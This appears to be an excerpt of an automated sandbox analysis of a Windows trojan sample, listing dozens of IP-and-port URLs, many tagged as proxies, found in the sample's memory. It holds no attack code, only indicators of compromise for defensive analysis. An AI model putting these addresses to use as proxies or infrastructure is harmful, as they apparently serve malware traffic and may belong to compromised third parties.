Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.66.210.159:8118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.66.210.159:8118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.69.16.184://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.69.16.184:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.69.16.184x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.97.215.240
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.97.215.240://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.97.215.240:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.104.215.88:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.104.215.88:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.118.211.14:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.118.211.14:3129://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.12.149.202:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.12.149.202:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.126.54.155:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.126.54.155:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.136.219.140
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.136.219.140://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.136.219.140:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.149.249.81:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.149.249.81:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.168.84.86:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.168.84.86:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.171.90.83:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.171.90.83:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.221.222.240:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.221.222.240:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.234.147.166:6363
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.234.147.166:6363://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.238.80.12:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.238.80.12:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAB46000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAB7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.238.80.14:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAB53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.238.80.14:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.238.80.17:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.238.80.17:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB0F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.238.80.30:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.238.80.30:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.97.79.72:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://83.97.79.72:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.17.35.129:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.17.35.129:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.17.51.235:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.17.51.235:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.17.51.240:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.17.51.240:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.17.51.241:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.17.51.241:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.204.40.155:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.204.40.155:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.207.252.37:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.207.252.37:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.237.248.137:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.237.248.137:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.241.188.138:8111
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.241.188.138:8111://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.241.188.138:8111x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.241.8.234:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.241.8.234:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.254.0.86:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.254.0.86:32650://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.39.112.144:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.39.112.144:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC48B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC1EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.53.247.204:53281
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC1F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://84.53.247.204:53281://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.117.56.91:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.117.56.91:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C767D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.12.214.148
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.12.214.148://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.133.190.4:8099
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.133.190.4:8099://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.14.8.226:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.14.8.226:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.143.254.38:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.143.254.38:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.172.0.30:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.172.0.30:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.172.60.202:1181
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.172.60.202:1181://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.173.165.36:46330
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.173.165.36:46330://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.187.151.27:30016
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.187.151.27:30016://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.192.40.171:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.192.40.171:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.196.179.34:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.196.179.34:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.214.107.177
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.214.107.177://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.214.107.177:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.214.118.98
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.214.118.98://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.214.118.98:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.214.244.174:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.214.244.174:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.214.249.84:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.214.249.84:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.214.94.28:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.214.94.28:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA61A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA60A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.221.249.213:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA60A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.221.249.213:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.228.43.192:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.228.43.192:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.234.126.107:55555
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.234.126.107:55555://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.235.184.186:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.235.184.186:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.237.51.73:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.237.51.73:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.238.74.91:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.238.74.91:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.26.146.169
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.26.146.169://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.26.146.169:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.26.227.178:47886
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.26.227.178:47886://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C790E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.30.215.48:32946
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.30.215.48:32946://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.30.215.48:60541
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.30.215.48:60541://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.8.68.2
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.8.68.2://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.8.68.2:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.9.87.26:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.9.87.26:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.92.183.97:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.92.183.97:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.95.167.124:11110
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.95.167.124:11110://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.107.178.107:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.107.178.107:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C825A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C81FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.107.178.109:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C825A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.107.178.109:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.107.179.234:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://86.107.179.234:3128://proxy
